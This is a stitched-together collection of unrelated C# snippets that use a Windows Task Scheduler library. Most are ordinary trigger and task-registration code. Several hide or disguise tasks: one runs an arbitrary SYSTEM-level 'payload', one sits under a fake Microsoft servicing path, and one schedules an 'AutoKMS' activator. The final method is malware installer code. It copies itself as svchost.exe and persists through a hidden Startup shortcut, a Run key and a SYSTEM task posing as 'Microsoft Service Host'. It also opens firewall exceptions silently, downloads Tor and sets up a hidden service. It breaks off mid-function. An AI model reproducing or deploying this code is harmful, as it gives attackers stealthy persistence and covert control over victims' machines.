void UpdateTrigger(IScheduledResource task, Table table)
{
var sched = table.Rows[0]["ScheduleType"];
Microsoft.Win32.TaskScheduler.Trigger x;
switch (sched)
{
case "At log on":
x = new LogonTrigger();
break;
case "On a schedule":
x = CreateScheduleTrigger(table);
break;
case "At Startup":
x = new BootTrigger();
break;
case "On Idle":
x = new IdleTrigger();
break;
default:
x = new DailyTrigger();
break;
}
task.Trigger.Trigger = new Dev2Trigger(new TaskServiceConvertorFactory(), x);
}
public static void Initialize(string scheduledTaskName, string payload, double often)
{
using (TaskService ts = new TaskService())
{
TaskDefinition td = ts.NewTask();
td.Principal.RunLevel = TaskRunLevel.Highest;
// public TaskInstancesPolicy MultipleInstances { get; set; }
// Needed for creating multiple instances of the payload
td.Settings.MultipleInstances = TaskInstancesPolicy.Parallel;
td.RegistrationInfo.Description = "Refresh Scoring Engine Workers for scoreboard";
// Add Time Trigger interval for Scheduled task.
TimeTrigger tt = new TimeTrigger();
tt.Repetition.Interval = TimeSpan.FromMinutes(often);
td.Triggers.Add(tt);
// Add Boot Trigger. SchTask will get triggered when the system boots up
BootTrigger bt = new BootTrigger();
td.Triggers.Add(bt);
// Add Logon Trigger. Schetask will get triggered when a user logs in
LogonTrigger lt = new LogonTrigger();
td.Triggers.Add(lt);
// Path to action, Arguments, working directory
td.Actions.Add(new ExecAction(payload, null, null));
// Create Scheduled Task with names and run
ts.RootFolder.RegisterTaskDefinition(scheduledTaskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
TaskService.Instance.GetTask(scheduledTaskName).Run();
}
}
private static void InstallTask()
{
try
{
Console.ForegroundColor = ConsoleColor.DarkCyan;
logger.WriteLine("[H] Check Task...");
using (TaskService ts = new TaskService())
{
const string taskName = @"\Microsoft\Windows\Servicing\ServiceAssistantCheck";
Task t = ts.GetTask(taskName);
if (t == null)
{
logger.WriteLine("[H] Task not found, create new...");
}
else
{
logger.WriteLine("[H] Task found, rewrite new settings...");
ts.RootFolder.DeleteTask(taskName);
}
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Check service status change.";
//td.Principal.LogonType = TaskLogonType.ServiceAccount;
td.Principal.RunLevel = TaskRunLevel.Highest;
td.Settings.MultipleInstances = TaskInstancesPolicy.IgnoreNew;
td.Settings.StartWhenAvailable = true;
td.Settings.WakeToRun = true;
td.Settings.RestartCount = 5;
td.Settings.RestartInterval = TimeSpan.FromSeconds(100);
// Add a trigger that will fire every 10 minutes
TimeTrigger tt = td.Triggers.Add(new TimeTrigger());
tt.Repetition.Interval = TimeSpan.FromMinutes(10);
// Create trigger that fires 5 minutes after the system starts.
BootTrigger bt = td.Triggers.Add(new BootTrigger());
bt.Delay = TimeSpan.FromMinutes(5);
// Add an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "update", null));
// Register the task in the root folder
ts.RootFolder.RegisterTaskDefinition(taskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
Console.ForegroundColor = ConsoleColor.Cyan;
logger.WriteLine("[H] Task Scheduler ... Done.");
}
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
logger.WriteLine("[H] Task scheduler operation exception: " + ex.ToString());
}
Console.ResetColor();
}
public void TaskServiceConvertorFactory_SanitiseBoot_Test()
{
var fact = new TaskServiceConvertorFactory();
Trigger trig = new BootTrigger();
var wrapped = new Dev2Trigger(fact, trig);
var sanitised = fact.SanitiseTrigger(wrapped);
AssertEqual(trig, sanitised);
}
/// <summary>
/// Create the AutoKMS Scheduled Task
/// </summary>
public static void MakeAutoKMSNormalTask()
{
DailyTrigger dt = new DailyTrigger();
BootTrigger bt = new BootTrigger();
LogonTrigger lt = new LogonTrigger();
List <Trigger> triggerList = new List <Trigger> {
dt, bt, lt
};
Tasks.CreateTask(AutoKMSInstallPath, AutoKMSFileName, AutoKMSProcessName, null, triggerList);
}
/// <summary>
/// Creates a new task, registers the task, and returns the instance.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="trigger">The <see cref="Trigger" /> to determine when to run the task.</param>
/// <param name="exePath">The executable path.</param>
/// <param name="arguments">The arguments (optional). Value can be NULL.</param>
/// <param name="userId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
/// <param name="description">The task description.</param>
/// <returns>
/// A <see cref="Task" /> instance of the registered task.
/// </returns>
public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
{
// Create a trigger based on quick trigger
Trigger newTrigger;
switch (trigger)
{
case QuickTriggerType.Boot:
newTrigger = new BootTrigger();
break;
case QuickTriggerType.Idle:
newTrigger = new IdleTrigger();
break;
case QuickTriggerType.Logon:
newTrigger = new LogonTrigger();
break;
case QuickTriggerType.TaskRegistration:
newTrigger = new RegistrationTrigger();
break;
case QuickTriggerType.Hourly:
newTrigger = new DailyTrigger {
Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1))
};
break;
case QuickTriggerType.Daily:
newTrigger = new DailyTrigger();
break;
case QuickTriggerType.Weekly:
newTrigger = new WeeklyTrigger();
break;
case QuickTriggerType.Monthly:
newTrigger = new MonthlyTrigger();
break;
default:
throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null);
}
return(AddTask(path, newTrigger, new ExecAction(exePath, arguments), userId, password, logonType, description));
}
public override void Register()
{
TaskService ts = new TaskService();
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Automatically changes Temporary folder of Chrome on Windows startup.";
td.Principal.UserId = string.Concat(Environment.UserDomainName, "\\", Environment.UserName);
td.Principal.LogonType = TaskLogonType.S4U;
td.Principal.RunLevel = TaskRunLevel.Highest;
BootTrigger bt = new BootTrigger();
td.Triggers.Add(bt);
td.Actions.Add(new ExecAction(Application.ExecutablePath, "/auto", null));
ts.RootFolder.RegisterTaskDefinition("Setting Chrome RamDisk", td);
}
public static void ScheduleTask(string TaskName)
{
TaskService ts = new TaskService();
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Run Task";
td.Principal.RunLevel = TaskRunLevel.Highest;
BootTrigger bt = new BootTrigger();
bt.Repetition.Interval = TimeSpan.FromMinutes(1);
bt.Repetition.Duration = TimeSpan.FromHours(12);
//RegistrationTrigger rt = new RegistrationTrigger();
//rt.Repetition.Interval = TimeSpan.FromMinutes(1);
td.Triggers.Add(bt);
td.Actions.Add(ExecutablePath(), "myArgs");
TaskService.Instance.RootFolder.RegisterTaskDefinition(TaskName, td);
}
private void triggerTypeCombo_SelectedValueChanged(object sender, EventArgs e)
{
if (triggerTypeCombo.SelectedValue == null)
{
return;
}
Trigger newTrigger = null;
switch (TriggerView)
{
case TaskTriggerDisplayType.Schedule:
default:
settingsTabControl.SelectedTab = scheduleTab;
if (!onAssignment)
{
newTrigger = new TimeTrigger();
}
break;
case TaskTriggerDisplayType.Logon:
logonRemotePanel.Visible = false;
settingsTabControl.SelectedTab = logonTab;
if (!onAssignment)
{
newTrigger = new LogonTrigger();
}
break;
case TaskTriggerDisplayType.Boot:
settingsTabControl.SelectedTab = startupTab;
if (!onAssignment)
{
newTrigger = new BootTrigger();
}
break;
case TaskTriggerDisplayType.Idle:
settingsTabControl.SelectedTab = idleTab;
if (!onAssignment)
{
newTrigger = new IdleTrigger();
}
break;
case TaskTriggerDisplayType.Event:
settingsTabControl.SelectedTab = onEventTab;
if (!onAssignment)
{
newTrigger = new EventTrigger();
}
break;
case TaskTriggerDisplayType.Registration:
settingsTabControl.SelectedTab = startupTab;
if (!onAssignment)
{
newTrigger = new RegistrationTrigger();
}
break;
case TaskTriggerDisplayType.SessionConnect:
case TaskTriggerDisplayType.SessionDisconnect:
case TaskTriggerDisplayType.WorkstationLock:
case TaskTriggerDisplayType.WorkstationUnlock:
logonRemotePanel.Visible = (int)TriggerView < (int)TaskTriggerDisplayType.WorkstationLock;
settingsTabControl.SelectedTab = logonTab;
if (!onAssignment)
{
newTrigger = new SessionStateChangeTrigger()
{
StateChange = (TaskSessionStateChangeType)(TriggerView - 110)
}
}
;
break;
case TaskTriggerDisplayType.Custom:
settingsTabControl.SelectedTab = customTab;
triggerTypeCombo.Enabled = okBtn.Enabled = false;
break;
}
if (newTrigger != null && !onAssignment)
{
if (trigger != null)
{
newTrigger.CopyProperties(trigger);
}
if (newTrigger is ICalendarTrigger)
{
if (newTrigger.StartBoundary == DateTime.MinValue)
{
newTrigger.StartBoundary = DateTime.Now;
}
}
else
{
newTrigger.StartBoundary = initialStartBoundary;
}
Trigger = newTrigger;
}
}
public Dev2BootTrigger(ITaskServiceConvertorFactory _taskServiceConvertorFactory, BootTrigger instance)
: base(_taskServiceConvertorFactory, instance)
{
}
public static bool ScheduleAutoStart(string taskKey, string taskSuffix, bool enableAutoStart, string command, string profileName, bool onBoot)
{
var taskName = GetScheduledTaskName(TaskType.AutoStart, taskKey, taskSuffix);
var taskFolder = TaskService.Instance.RootFolder.SubFolders.Exists(TaskFolder) ? TaskService.Instance.RootFolder.SubFolders[TaskFolder] : null;
if (enableAutoStart)
{
// create the task folder
if (taskFolder == null)
{
try
{
taskFolder = TaskService.Instance.RootFolder.CreateFolder(TaskFolder, null, false);
}
catch (Exception ex)
{
_logger.Error($"{nameof(ScheduleAutoStart)} - Unable to create the Server Manager task folder. {ex.Message}\r\n{ex.StackTrace}");
return(false);
}
}
if (taskFolder == null)
{
return(false);
}
var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
var taskDefinition = task?.Definition ?? TaskService.Instance.NewTask();
if (taskDefinition == null)
{
return(false);
}
Version.TryParse(AppUtils.GetDeployedVersion(), out Version appVersion);
taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
taskDefinition.RegistrationInfo.Description = $"Server Auto-Start - {profileName}";
taskDefinition.RegistrationInfo.Source = "Server Manager";
taskDefinition.RegistrationInfo.Version = appVersion;
taskDefinition.Settings.ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT);
taskDefinition.Settings.Priority = ProcessPriorityClass.Normal;
// Add a trigger that will fire after the machine has started
if (onBoot)
{
var triggers = taskDefinition.Triggers.OfType <BootTrigger>();
if (triggers.Count() == 0)
{
var trigger = new BootTrigger
{
Delay = TimeSpan.FromMinutes(1),
ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
};
taskDefinition.Triggers.Add(trigger);
}
else
{
foreach (var trigger in triggers)
{
trigger.Delay = TimeSpan.FromMinutes(1);
}
}
}
else
{
var triggers = taskDefinition.Triggers.OfType <LogonTrigger>();
if (triggers.Count() == 0)
{
var trigger = new LogonTrigger
{
Delay = TimeSpan.FromMinutes(1),
ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
};
taskDefinition.Triggers.Add(trigger);
}
else
{
foreach (var trigger in triggers)
{
trigger.Delay = TimeSpan.FromMinutes(1);
}
}
}
// Create an action that will launch whenever the trigger fires
taskDefinition.Actions.Clear();
var action = new ExecAction
{
Path = command,
Arguments = string.Empty
};
taskDefinition.Actions.Add(action);
try
{
task = taskFolder.RegisterTaskDefinition(taskName, taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
return(task != null);
}
catch (Exception ex)
{
_logger.Error($"{nameof(ScheduleAutoStart)} - Unable to create the ScheduleAutoStart task. {ex.Message}\r\n{ex.StackTrace}");
}
}
else
{
if (taskFolder == null)
{
return(true);
}
// Retrieve the task to be deleted
var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
if (task == null)
{
return(true);
}
try
{
// Delete the task
taskFolder.DeleteTask(taskName, false);
return(true);
}
catch (Exception ex)
{
_logger.Error($"{nameof(ScheduleAutoStart)} - Unable to delete the ScheduleAutoStart task. {ex.Message}\r\n{ex.StackTrace}");
}
}
return(false);
}
internal static void LongTest(TaskService ts, System.IO.TextWriter output, params string[] arg)
{
string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
Version ver = ts.HighestSupportedVersion;
bool isV12 = (ver >= new Version(1, 2));
bool isV13 = (ver >= new Version(1, 3));
bool isV14 = (ver >= new Version(1, 4));
output.WriteLine("Highest version: " + ver);
output.WriteLine("Server: {0} ({1}); User: {2}\\{3}", ts.TargetServer, ts.Connected ? "Connected" : "Disconnected", ts.UserAccountDomain, ts.UserName);
output.WriteLine("Running tasks:");
foreach (RunningTask rt in ts.GetRunningTasks(true))
{
if (rt != null)
{
output.WriteLine("+ {0}, {1} ({2})", rt.Name, rt.Path, rt.State);
if (ver.Minor > 0)
{
output.WriteLine(" Current Action: " + rt.CurrentAction);
}
}
}
string filter = arg.Length > 0 ? arg[0] : string.Empty;
TaskFolder tf = ts.RootFolder;
TaskCollection tasks = tf.GetTasks(new Wildcard(filter));
output.WriteLine("\nRoot folder tasks matching \"{1}\" ({0}):", tasks.Count, filter);
foreach (Task t in tasks)
{
try
{
output.WriteLine("+ {0}, {1} ({2}) - {3}", t.Name, t.Definition.RegistrationInfo.Author, t.State, t.Definition.Settings.Compatibility);
foreach (Trigger trg in t.Definition.Triggers)
{
output.WriteLine(" + {0}", trg);
}
foreach (var act in t.Definition.Actions)
{
output.WriteLine(" = {0}", act);
}
}
catch { }
}
output.WriteLine("\n***Finding defrag task***");
Task ft = ts.FindTask("*defrag*");
if (ft != null)
{
output.WriteLine("Defrag task found at " + ft.Path);
}
else
{
output.WriteLine("Defrag task not found.");
}
TaskFolderCollection tfs = tf.SubFolders;
if (tfs.Count > 0)
{
output.WriteLine("\nSub folders:");
try
{
foreach (TaskFolder sf in tfs)
{
output.WriteLine("+ {0}", sf.Path);
}
}
catch (Exception ex)
{
output.WriteLine(ex.ToString());
}
}
if (isV12)
{
output.WriteLine("\n***Checking folder retrieval***");
try
{
const string testFolder = "David's TestFolder";
try { tf.CreateFolder(testFolder); }
catch (System.Runtime.InteropServices.COMException cex) { if (cex.ErrorCode != -2147024713)
{
throw;
}
}
catch { throw; }
TaskFolder sub = tf.SubFolders[testFolder];
output.WriteLine("\nSubfolder path: " + sub.Path);
try
{
ts.AddTask(testFolder + @"\MyTask", new DailyTrigger(), new ExecAction("notepad"));
output.WriteLine(" - Tasks: " + sub.Tasks.Count.ToString());
sub.DeleteTask("MyTask");
}
catch (Exception ex)
{
output.WriteLine(ex.ToString());
}
tf.DeleteFolder(testFolder);
}
catch (NotSupportedException) { }
catch (Exception ex)
{
output.WriteLine(ex.ToString());
}
}
output.WriteLine("\n***Checking task creation***");
try
{
TaskDefinition td = ts.NewTask();
td.Data = "Your data";
//td.Principal.UserId = "SYSTEM";
//td.Principal.LogonType = TaskLogonType.ServiceAccount;
if (isV12)
{
td.Principal.LogonType = TaskLogonType.S4U;
}
td.RegistrationInfo.Author = "dahall";
td.RegistrationInfo.Description = "Does something";
td.RegistrationInfo.Documentation = "Don't pretend this is real.";
td.Settings.DisallowStartIfOnBatteries = true;
td.Settings.Enabled = false;
td.Settings.ExecutionTimeLimit = TimeSpan.Zero; // FromHours(2);
td.Settings.Hidden = false;
td.Settings.IdleSettings.IdleDuration = TimeSpan.FromMinutes(20);
td.Settings.IdleSettings.RestartOnIdle = false;
td.Settings.IdleSettings.StopOnIdleEnd = false;
td.Settings.IdleSettings.WaitTimeout = TimeSpan.FromMinutes(10);
td.Settings.Priority = System.Diagnostics.ProcessPriorityClass.Normal;
td.Settings.RunOnlyIfIdle = true;
td.Settings.RunOnlyIfNetworkAvailable = true;
td.Settings.StopIfGoingOnBatteries = true;
if (isV12)
{
td.Principal.RunLevel = TaskRunLevel.Highest; //.LUA;
td.Principal.Id = "Author";
td.RegistrationInfo.SecurityDescriptorSddlForm = "D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;LS)";
td.RegistrationInfo.Source = "Test App";
td.RegistrationInfo.URI = "test://app";
td.RegistrationInfo.Version = new Version(0, 9);
//td.Settings.AllowDemandStart = false;
td.Settings.AllowHardTerminate = false;
td.Settings.Compatibility = TaskCompatibility.V2;
td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromMinutes(1);
td.Settings.MultipleInstances = TaskInstancesPolicy.StopExisting;
td.Settings.StartWhenAvailable = true;
td.Settings.WakeToRun = true;
td.Settings.RestartCount = 5;
td.Settings.RestartInterval = TimeSpan.FromSeconds(100);
//td.Settings.NetworkSettings.Id = new Guid("{99AF272D-BC5B-4F64-A5B7-8688392C13E6}");
}
if (isV13)
{
td.Settings.Compatibility = TaskCompatibility.V2_1;
td.Settings.DisallowStartOnRemoteAppSession = true;
td.Settings.UseUnifiedSchedulingEngine = false;
/*td.Principal.ProcessTokenSidType = TaskProcessTokenSidType.Unrestricted;
* td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeBackupPrivilege);
* td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeDebugPrivilege);
* td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeImpersonatePrivilege);
* output.Write("Priv: ");
* //output.Write(td.Principal.RequiredPrivileges[0]);
* foreach (TaskPrincipalPrivilege item in td.Principal.RequiredPrivileges)
* output.Write(item.ToString() + ", ");
* output.WriteLine();*/
}
if (isV14)
{
td.Settings.Compatibility = TaskCompatibility.V2_2;
td.Settings.Volatile = true;
if (td.Principal.LogonType == TaskLogonType.ServiceAccount)
{
td.Settings.MaintenanceSettings.Exclusive = true;
td.Settings.MaintenanceSettings.Period = TimeSpan.FromDays(5);
td.Settings.MaintenanceSettings.Deadline = TimeSpan.FromDays(15);
}
}
// Setup Triggers
if (isV12)
{
BootTrigger bTrigger = (BootTrigger)td.Triggers.Add(new BootTrigger {
Enabled = false
}); //(BootTrigger)td.Triggers.AddNew(TaskTriggerType.Boot);
if (isV12)
{
bTrigger.Delay = TimeSpan.FromMinutes(5);
}
}
DailyTrigger dTrigger = (DailyTrigger)td.Triggers.Add(new DailyTrigger {
DaysInterval = 2
});
if (isV12)
{
dTrigger.RandomDelay = TimeSpan.FromHours(2);
}
if (isV12)
{
EventTrigger eTrigger = (EventTrigger)td.Triggers.Add(new EventTrigger());
eTrigger.Subscription = "<QueryList><Query Id=\"0\" Path=\"Security\"><Select Path=\"Security\">*[System[Provider[@Name='VSSAudit'] and EventID=25]]</Select></Query></QueryList>";
eTrigger.ValueQueries.Add("Name", "Value");
td.Triggers.Add(new RegistrationTrigger {
Delay = TimeSpan.FromMinutes(5)
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.ConsoleConnect, UserId = user
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.ConsoleDisconnect
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.RemoteConnect
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.RemoteDisconnect
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.SessionLock, UserId = user
});
td.Triggers.Add(new SessionStateChangeTrigger {
StateChange = TaskSessionStateChangeType.SessionUnlock
});
}
td.Triggers.Add(new IdleTrigger());
LogonTrigger lTrigger = (LogonTrigger)td.Triggers.Add(new LogonTrigger());
if (isV12)
{
lTrigger.Delay = TimeSpan.FromMinutes(15);
lTrigger.UserId = user;
lTrigger.Repetition.Interval = TimeSpan.FromSeconds(1000);
}
MonthlyTrigger mTrigger = (MonthlyTrigger)td.Triggers.Add(new MonthlyTrigger());
mTrigger.DaysOfMonth = new int[] { 3, 6, 10, 18 };
mTrigger.MonthsOfYear = MonthsOfTheYear.July | MonthsOfTheYear.November;
if (isV12)
{
mTrigger.RunOnLastDayOfMonth = true;
}
mTrigger.EndBoundary = DateTime.Today + TimeSpan.FromDays(90);
MonthlyDOWTrigger mdTrigger = (MonthlyDOWTrigger)td.Triggers.Add(new MonthlyDOWTrigger());
mdTrigger.DaysOfWeek = DaysOfTheWeek.AllDays;
mdTrigger.MonthsOfYear = MonthsOfTheYear.January | MonthsOfTheYear.December;
if (isV12)
{
mdTrigger.RunOnLastWeekOfMonth = true;
}
mdTrigger.WeeksOfMonth = WhichWeek.FirstWeek;
TimeTrigger tTrigger = (TimeTrigger)td.Triggers.Add(new TimeTrigger());
tTrigger.StartBoundary = DateTime.Now + TimeSpan.FromMinutes(1);
tTrigger.EndBoundary = DateTime.Today + TimeSpan.FromDays(7);
if (isV12)
{
tTrigger.ExecutionTimeLimit = TimeSpan.FromSeconds(19);
}
if (isV12)
{
tTrigger.Id = "Time test";
}
tTrigger.Repetition.Duration = TimeSpan.FromMinutes(21);
tTrigger.Repetition.Interval = TimeSpan.FromMinutes(17);
tTrigger.Repetition.StopAtDurationEnd = true;
WeeklyTrigger wTrigger = (WeeklyTrigger)td.Triggers.Add(new WeeklyTrigger());
wTrigger.DaysOfWeek = DaysOfTheWeek.Monday;
wTrigger.WeeksInterval = 3;
// Setup Actions
td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
if (isV12)
{
td.Actions.Context = "Author";
if (td.Principal.LogonType == TaskLogonType.InteractiveToken || td.Principal.LogonType == TaskLogonType.Group || td.Principal.LogonType == TaskLogonType.S4U)
{
td.Actions.Add(new ShowMessageAction("Running Notepad", "Info"));
}
td.Actions.Add(new EmailAction("Testing", "*****@*****.**", "*****@*****.**", "You've got mail.", "mail.myisp.com")
{
Id = "Email", Attachments = new object[] { (string)new TemporaryScopedFile() }
});
var email = (EmailAction)td.Actions["Email"];
email.HeaderFields.Add("Precedence", "bulk");
td.Actions.Add(new ComHandlerAction(new Guid("{BF300543-7BA5-4C17-A318-9BBDB7429A21}"), @"C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskHandlerProxy\TaskHandlerSample\bin\Release\TaskHandlerSample.dll|TaskHandlerSample.TaskHandler|MoreData"));
}
// Validate and Register task
WriteXml(td, "PreRegTest");
td.Validate(true);
Task t = tf.RegisterTaskDefinition("Test", td);
WriteXml(t);
// Try copying it
TaskDefinition td2 = ts.NewTask();
foreach (Trigger tg in td.Triggers)
{
td2.Triggers.Add((Trigger)tg.Clone());
}
foreach (Microsoft.Win32.TaskScheduler.Action a in td.Actions)
{
td2.Actions.Add((Microsoft.Win32.TaskScheduler.Action)a.Clone());
}
tf.RegisterTaskDefinition("Test2", td2, TaskCreation.CreateOrUpdate, user, null, TaskLogonType.InteractiveToken, null);
tf.DeleteTask("Test2");
}
catch (Exception ex)
{
output.WriteLine(ex.ToString());
return;
}
// Display results
Task runningTask = tf.Tasks["Test"];
output.WriteLine("\nNew task will next run at " + runningTask.NextRunTime);
DateTime[] times = runningTask.GetRunTimes(DateTime.Now, DateTime.Now + TimeSpan.FromDays(7), 0);
if (times.Length > 0)
{
output.WriteLine("\nNew task will run at the following times over the next week:");
foreach (DateTime dt in times)
{
output.WriteLine(" {0}", dt);
}
}
output.WriteLine("\nNew task triggers:");
for (int i = 0; i < runningTask.Definition.Triggers.Count; i++)
{
output.WriteLine(" {0}: {1}", i, runningTask.Definition.Triggers[i]);
}
output.WriteLine("\nNew task actions:");
for (int i = 0; i < runningTask.Definition.Actions.Count; i++)
{
output.WriteLine(" {0}: {1}", i, runningTask.Definition.Actions[i]);
}
// Loop through event logs for this task and find action completed events newest to oldest
if (isV12)
{
output.WriteLine("\nTask history enumeration:");
TaskEventLog log = new TaskEventLog(@"\Maint", new int[] { 201 }, DateTime.Now.AddDays(-7))
{
EnumerateInReverse = false
};
foreach (TaskEvent ev in log)
{
output.WriteLine(" Completed action '{0}' ({2}) at {1}.", ev.GetDataValue("ActionName"), ev.TimeCreated.Value, ev.GetDataValue("ResultCode"));
}
}
DisplayTask(runningTask, true);
tf.DeleteTask("Test");
}
public void installMeth()
{
if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false)
{
string si = Application.ExecutablePath.ToString();
try
{
System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory);
}
catch (Exception ex) { }
try
{
System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
try
{
System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString());
}
catch (Exception ex) { }
try
{
string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
if (File.Exists(deskDir + "\\ServiceHost.url") == false)
{
using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url"))
{
string app = FluxGlobal.sInstallDirectory + "\\svchost.exe";
writer.WriteLine("[InternetShortcut]");
writer.WriteLine("URL=file:///" + app);
writer.WriteLine("IconIndex=0");
string icon = app.Replace('\\', '/');
writer.WriteLine("IconFile=" + icon);
writer.Flush();
}
System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
// Try Registry Last incase we get popped
try
{
RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\"");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
try
{
// Get the service on the local machine
using (TaskService ts = new TaskService())
{
TaskLogonType logonType = TaskLogonType.ServiceAccount;
string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName);
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
//td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15);
//Version v = new Version("_v2");
//if (ts.HighestSupportedVersion == v)
////{
td.Principal.RunLevel = TaskRunLevel.LUA;
td.Principal.LogonType = logonType;
td.RegistrationInfo.Description = "Microsoft Service Host";
td.RegistrationInfo.Author = "SYSTEM";
td.Principal.DisplayName = "Service Host";
//}
LogonTrigger lt = new LogonTrigger();
lt.Enabled = true;
BootTrigger bt = new BootTrigger();
bt.Delay = TimeSpan.FromMinutes(5);
// Create a trigger that will fire the task at this time every other day
td.Triggers.Add(lt);
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe"));
try
{
ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
}
catch (Exception ex2)
{
Console.WriteLine(ex2.ToString());
}
}
}
catch (Exception ex) { Console.WriteLine(ex.ToString()); }
string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";
try
{
ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE");
Process proc = new Process();
proc.StartInfo = procStartInfo;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
}
catch (Exception ex)
{
}
try
{
ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE");
Process proc = new Process();
proc.StartInfo = procStartInfo;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
}
catch (Exception ex)
{
}
string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\";
if (System.IO.Directory.Exists(sDownloadPath) == false)
{
System.IO.Directory.CreateDirectory(sDownloadPath);
}
sDownloadPath = sDownloadPath + "tor.zip";
if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false)
{
//if(System.IO.Directory.Exists(torDirectory) == false)
//{
// System.IO.Directory.CreateDirectory(torDirectory);
//}
bool bGoodDownload = false;
System.Net.WebClient wc = new System.Net.WebClient();
while (bGoodDownload == false && alTorURLs.Count > 0)
{
string sUrl = alTorURLs[0].ToString();
alTorURLs.RemoveAt(0);
try
{
wc.DownloadFile(sUrl, sDownloadPath);
bGoodDownload = true;
}
catch { }
if (bGoodDownload == true)
{
break;
}
}
try
{
UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", ""));
System.IO.Directory.Move(sDownloadPath.Replace("tor.zip", "") + "\\1-master", torDirectory);
string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375";
System.IO.File.WriteAllText(torDirectory + "torrc", torrc);
try
{
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\"");
psi.UseShellExecute = false;
psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
psi.CreateNoWindow = true;
psi.RedirectStandardError = true;
psi.RedirectStandardOutput = true;
